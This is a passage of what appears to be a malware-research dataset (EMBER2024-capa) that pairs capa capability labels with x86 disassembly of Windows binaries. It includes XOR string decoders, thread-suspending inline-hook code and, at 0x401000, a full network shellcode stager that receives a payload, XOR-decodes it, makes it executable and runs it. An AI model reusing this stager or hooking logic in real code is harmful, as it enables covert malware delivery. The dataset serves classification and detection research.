joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001c580
Capabilities:
Encode data using xor

Disassembly:
mov edx, 6
xor ecx, ecx
jmp 0x1001c590
mov al, byte [edi + ecx - 0x58ac7a1c]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001c590
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x1001c5b0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x34
xor ecx, ecx
jmp 0x1001c5c0
mov al, byte [edi + ecx + 0x32593faf]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001c5c0
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x1001c5e0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x15
xor ecx, ecx
jmp 0x1001c5f0
mov al, byte [edi + ecx + 0x43f2140e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xf
jb 0x1001c5f0
mov byte [esi + 0xf], 0
mov eax, esi
ret

Function at 0x1001c870
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xd9
xor ecx, ecx
jmp 0x1001c880
mov al, byte [edi + ecx - 0x1a2e1036]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xd
jb 0x1001c880
mov byte [esi + 0xd], 0
mov eax, esi
ret

Function at 0x1001c8a0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 1
xor ecx, ecx
jmp 0x1001c8b0
mov al, byte [edi + ecx + 0x3ed419b4]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xb
jb 0x1001c8b0
mov byte [esi + 0xb], 0
mov eax, esi
ret

Function at 0x1001c960
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xe8
xor ecx, ecx
jmp 0x1001c970
mov al, byte [edi + ecx + 0x3566316e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x2a
jb 0x1001c970
mov byte [esi + 0x2a], 0
mov eax, esi
ret

Function at 0x1001cb20
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xab
xor ecx, ecx
jmp 0x1001cb30
mov al, byte [edi + ecx - 0x7b84b047]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x12
jb 0x1001cb30
mov byte [esi + 0x12], 0
mov eax, esi
ret

Function at 0x1001cdb0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xef
xor ecx, ecx
jmp 0x1001cdc0
mov al, byte [edi + ecx - 0x20ea7df6]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x43
jb 0x1001cdc0
mov byte [esi + 0x43], 0
mov eax, esi
ret

Function at 0x1001cde0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x46
xor ecx, ecx
jmp 0x1001cdf0
mov al, byte [edi + ecx - 0x11021866]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1c
jb 0x1001cdf0
mov byte [esi + 0x1c], 0
mov eax, esi
ret

Function at 0x1001ce10
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x59
xor ecx, ecx
jmp 0x1001ce20
mov al, byte [edi + ecx - 0xe7a4c7f]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001ce20
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001ce40
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xaa
xor ecx, ecx
jmp 0x1001ce50
mov al, byte [edi + ecx + 0x36b371d1]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x17
jb 0x1001ce50
mov byte [esi + 0x17], 0
mov eax, esi
ret
Function at 0x1001ce70
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x54
xor ecx, ecx
jmp 0x1001ce80
mov al, byte [edi + ecx + 0x7b8009b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001ce80
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001edc0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x10ad01dc]
push esi
xor esi, esi
cmp eax, esi
je 0x1001eddb
lea esp, [esp]
cmp dword [eax + 4], esi
jne 0x1001ee23
mov eax, dword [eax]
cmp eax, esi
jne 0x1001edd0
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
je 0x1001ee23
lea ecx, [eax + 0x20]
mov edx, ecx
mov dword [eax + 4], esi
mov dword [eax + 8], esi
sub edx, eax
nop
mov esi, dword [eax + 4]
mov dword [ecx], esi
mov dword [eax + 4], ecx
add edx, 0x20
add ecx, 0x20
cmp edx, 0xfe0
jbe 0x1001ee00
mov ecx, dword [0x10ad01dc]
mov dword [eax], ecx
mov dword [0x10ad01dc], eax
pop esi
ret
Function at 0x1001f7c0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1001f8a4
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1001f89d
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp dword [ebp - 0x20], 0x10
jb 0x1001f882
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x1001f882
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1001f882
mov eax, dword [esi]
test eax, eax
jne 0x1001f847
mov ecx, dword [0x10aceb40]
push 0x200
push eax
push ecx
mov dword [esi + 4], 0x80
call edi
mov dword [esi], eax
test eax, eax
je 0x1001f89c
jmp 0x1001f874
mov ecx, dword [esi + 4]
cmp dword [esi + 8], ecx
jb 0x1001f874
lea edx, [ecx*8]
push edx
push eax
mov eax, dword [0x10aceb40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1001f89c
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi + 4], ecx
mov dword [esi], eax
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x18]
mov dword [eax + edx*4], ecx
inc dword [esi + 8]
lea edx, [ebp - 0x20]
push edx
push ebx
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1001f807
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1002121a
mov esp, ebp
pop ebp
ret

Function at 0x1001f8c0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
call fcn.1001f7c0
cmp dword [esi], ebx
je 0x1001f91b
cmp dword [esi + 8], ebx
jbe 0x1001f91b
push edi
mov eax, dword [esi]
mov ecx, dword [eax + ebx*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1001f914
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edx
push edi
call fcn.1001f660
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x1001f8e0
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1001f920
Capabilities:
Resume thread

Disassembly:
cmp dword [ebx], 0
je 0x1001f96d
push edi
xor edi, edi
cmp dword [ebx + 8], edi
jbe 0x1001f95b
push esi
mov edi, edi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1001f954
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebx + 8]
jb 0x1001f930
pop esi
mov edx, dword [ebx]
mov eax, dword [0x10aceb40]
push edx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
ret
Function at 0x1001f970
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
imul esi, esi, 0x2c
add esi, dword [0x10ad01d0]
push edi
test byte [esi + 0x14], 1
mov edi, dword [esi]
mov ebx, 5
je 0x1001f996
sub edi, ebx
mov ebx, 7
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1001f9b4
pop edi
pop esi
mov eax, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [edi], 0xe9
mov ecx, dword [esi + 4]
sub ecx, edi
sub ecx, 5
mov dword [edi + 1], ecx
test byte [esi + 0x14], 1
je 0x1001f9cf
mov eax, dword [esi]
mov word [eax], 0xf9eb
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001fa00
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [0x10ad01d8]
push esi
xor edx, edx
xor esi, esi
mov dword [ebp - 4], edx
test ecx, ecx
je 0x1001fad5
mov eax, dword [0x10ad01d0]
push ebx
add eax, 0x14
mov bl, 2
test byte [eax], bl
je 0x1001fa3b
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x1001fa27
pop ebx
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x1001fa33
push edi
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
call fcn.1001f8c0
add esp, 8
cmp esi, dword [0x10ad01d8]
jae 0x1001fa85
mov edi, esi
imul edi, edi, 0x2c
lea ecx, [ecx]
mov eax, dword [0x10ad01d0]
test byte [edi + eax + 0x14], bl
jne 0x1001fa79
mov eax, esi
call fcn.1001f970
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001fa85
inc esi
add edi, 0x2c
cmp esi, dword [0x10ad01d8]
jb 0x1001fa60
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1001facb
xor edi, edi
cmp dword [ebp - 8], edi
jbe 0x1001fabb
mov ecx, dword [ebx + edi*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1001fab5
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [ebp - 8]
jb 0x1001fa93
mov edx, dword [0x10aceb40]
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1002121a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10049650]
jne 0x10021224
repz ret
jmp fcn.100271a8

Function at 0x1002bf95
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x1002bfbc
call fcn.10023c03
mov dword [eax], esi
call fcn.10023bf0
push 0x16
pop esi
mov dword [eax], esi
call fcn.10027824
mov eax, esi
jmp 0x1002c011
test dword [ebp + 0xc], 0xfffffff9
jne 0x1002bfa2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1002bfe9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10023c16
pop ecx
call fcn.10023bf0
mov eax, dword [eax]
jmp 0x1002c011
test al, 0x10
jne 0x1002c00f
test al, 1
je 0x1002c00f
test byte [ebp + 0xc], 2
je 0x1002c00f
call fcn.10023c03
mov dword [eax], 5
call fcn.10023bf0
mov dword [eax], 0xd
jmp 0x1002bfe0
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10034539
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10029484
and dword [ebp - 0x14], 0
cmp dword [0x101acc90], 0
mov dword [ebp - 0x18], eax
jne 0x100345ec
push 0x10041e74
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10034694
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10041e68
push ebx
call edi
test eax, eax
je 0x10034694
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x10041e58
push ebx
mov dword [0x101acc90], eax
call edi
push eax
call esi
push 0x10041e44
push ebx
mov dword [0x101acc94], eax
call edi
push eax
call esi
push 0x10041e28
push ebx
mov dword [0x101acc98], eax
call edi
push eax
call esi
mov dword [0x101acca0], eax
test eax, eax
je 0x100345ec
push 0x10041e10
push ebx
call edi
push eax
call esi
mov dword [0x101acc9c], eax
mov eax, dword [0x101acc9c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10034645
cmp dword [0x101acca0], ecx
je 0x10034645
push eax
call esi
push dword [0x101acca0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10034645
test ebx, ebx
je 0x10034645
call edi
test eax, eax
je 0x1003463c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1003463c
test byte [ebp - 8], 1
jne 0x10034645
or dword [ebp + 0x10], 0x200000
jmp 0x10034678
mov eax, dword [0x101acc94]
cmp eax, dword [ebp - 0x18]
je 0x10034678
push eax
call esi
test eax, eax
je 0x10034678
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10034678
mov eax, dword [0x101acc98]
cmp eax, dword [ebp - 0x18]
je 0x10034678
push eax
call esi
test eax, eax
je 0x10034678
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x101acc90]
call esi
test eax, eax
je 0x10034694
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10034696
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002121a
leave
ret
Function at 0x10039fc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1003a170
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1003a08d
mov edx, dword [ebp - 4]
cmp edx, dword [0x10049194]
jb 0x1003a00a
mov eax, dword [ebp - 4]
cmp eax, dword [0x10049198]
ja 0x1003a00a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10039fda
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10024b90
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1003a030
jmp 0x1003a08d
cmp dword [ebp - 0x14], 0x10000
jne 0x1003a073
cmp dword [ebp - 0x18], 0x10000
jb 0x1003a073
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1003a066
mov eax, dword [ebp - 8]
jmp 0x1003a08f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1003a088
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1003a170
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10039fda
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003a0a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1003a1a0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1003a165
mov edx, dword [ebp - 4]
cmp edx, dword [0x10049194]
jb 0x1003a0e5
mov eax, dword [ebp - 4]
cmp eax, dword [0x10049198]
ja 0x1003a0e5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1003a0b5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10024b90
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1003a10b
jmp 0x1003a165
cmp dword [ebp - 0x14], 0x10000
jne 0x1003a14e
cmp dword [ebp - 0x18], 0x10000
jb 0x1003a14e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1003a141
mov eax, dword [ebp - 8]
jmp 0x1003a167
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1003a160
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1003a1a0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1003a0b5
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1003b570
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x101abff4], eax
je 0x1003b58e
mov eax, 0x10dd
jmp 0x1003b66f
mov eax, dword [0x101ac004]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1003b60c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1003b5ea
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1003b5ea
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1003a620
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.1002120f
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1003b596
mov dword [0x101ac004], 0
call fcn.1003af00
mov ecx, dword [0x101ac000]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1003b659
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.1002120f
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1003b624
mov dword [0x101ac000], 0
mov dword [0x101abff4], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003bb50
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x101abff8], 0
je 0x1003bb69
mov eax, dword [0x101abff8]
jmp 0x1003bc09
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1003bb7b
xor eax, eax
jmp 0x1003bc09
push 8
call fcn.100238b1
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1003bbd1
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1003bbba
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.1002120f
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x101abff8], eax
mov dword [0x101abffc], 0
mov eax, dword [ebp - 8]
jmp 0x1003bc09
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1003bbeb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1003bb9b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x101ac000]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x101ac000], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x401000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Create tcp socket
Create udp socket
Encode data using xor
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x1dc], ecx
xor eax, eax
je 0x401023
adc dword [edx], esp
xor esp, dword [ecx + sym.imp.USER32.dll_EnumChildWindows]
mov eax, dword [sym.imp.USER32.dll_EnumChildWindows]
mov dword [ebp - 0x1e8], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x1e0], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0x1c8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push dword [ebp - 0x1dc]
mov esi, eax
mov eax, 2
mov word [ebp - 0x34], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x20fb
mov dword [ebp - 0x30], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x32], ax
mov dword [ebp - 0x1d0], 0
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1d0], eax
push 0x10
lea eax, [ebp - 0x34]
push eax
push esi
call dword [ebp - 0x1d0]
mov dword [ebp - 0x1cc], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x1cc], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x74726956
push eax
push dword [ebp - 0x1cc]
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
push 0x29d1
push 0
call eax
mov edi, eax
mov dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x1d4], eax
push 0
push 0x29d1
push edi
push esi
call dword [ebp - 0x1d4]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
movaps xmm2, xmmword [0x412cf0]
lea eax, [edi + 0x20]
mov edx, 0xa7
mov ecx, 0x29c0
lea eax, [eax + 0x40]
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x60]
xorps xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
xorps xmm1, xmm0
movups xmmword [eax - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x40]
xorps xmm1, xmm0
movups xmmword [eax - 0x40], xmm1
movups xmm0, xmmword [eax - 0x30]
xorps xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
sub edx, 1
jne 0x401153
nop dword [eax]
xor byte [ecx + edi], 0x88
inc ecx
cmp ecx, 0x29d1
jb 0x401190
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x74726956
push eax
push dword [ebp - 0x1cc]
mov dword [ebp - 0x20], 0x506c6175
mov dword [ebp - 0x1c], 0x65746f72
mov word [ebp - 0x18], 0x7463
mov byte [ebp - 0x16], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x1ec]
push ecx
push 0x40
push 0x29d1
push edi
call eax
mov dword [ebp - 0x1d8], 0
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1d8], eax
push 0
push edi
push 0
call dword [ebp - 0x1d8]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040122e
mov esp, ebp
pop ebp
ret
Function at 0x401a5e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401a9d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a9d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a9d
cmp dword [ecx + 0x74], 0xe
jbe 0x401a9d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40744c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4074e9
push ebx
push esi
call fcn.00407415
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004073a9
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x407496
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4074e8
push edi
push eax
call fcn.00407cdf
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4074b6
call fcn.00405ef1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4074e7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004073a9
add esp, 0x20
test eax, eax
jne 0x4074d5
push edi
call fcn.00405ef1
jmp 0x4074dd
push ebx
call fcn.00405ef1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4083e5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40ffe0
push 0x40ffd8
push str.FlsAlloc
push 0x1f
call fcn.00408301
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408419
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e130]
call esi
jmp 0x40841f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408463
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fff0
push 0x40ffe8
push str.FlsGetValue
push 0x21
call fcn.00408301
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40849a
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4084a2
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fff8
push 0x40fff0
push str.FlsSetValue
push 0x22
call fcn.00408301
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4084dc
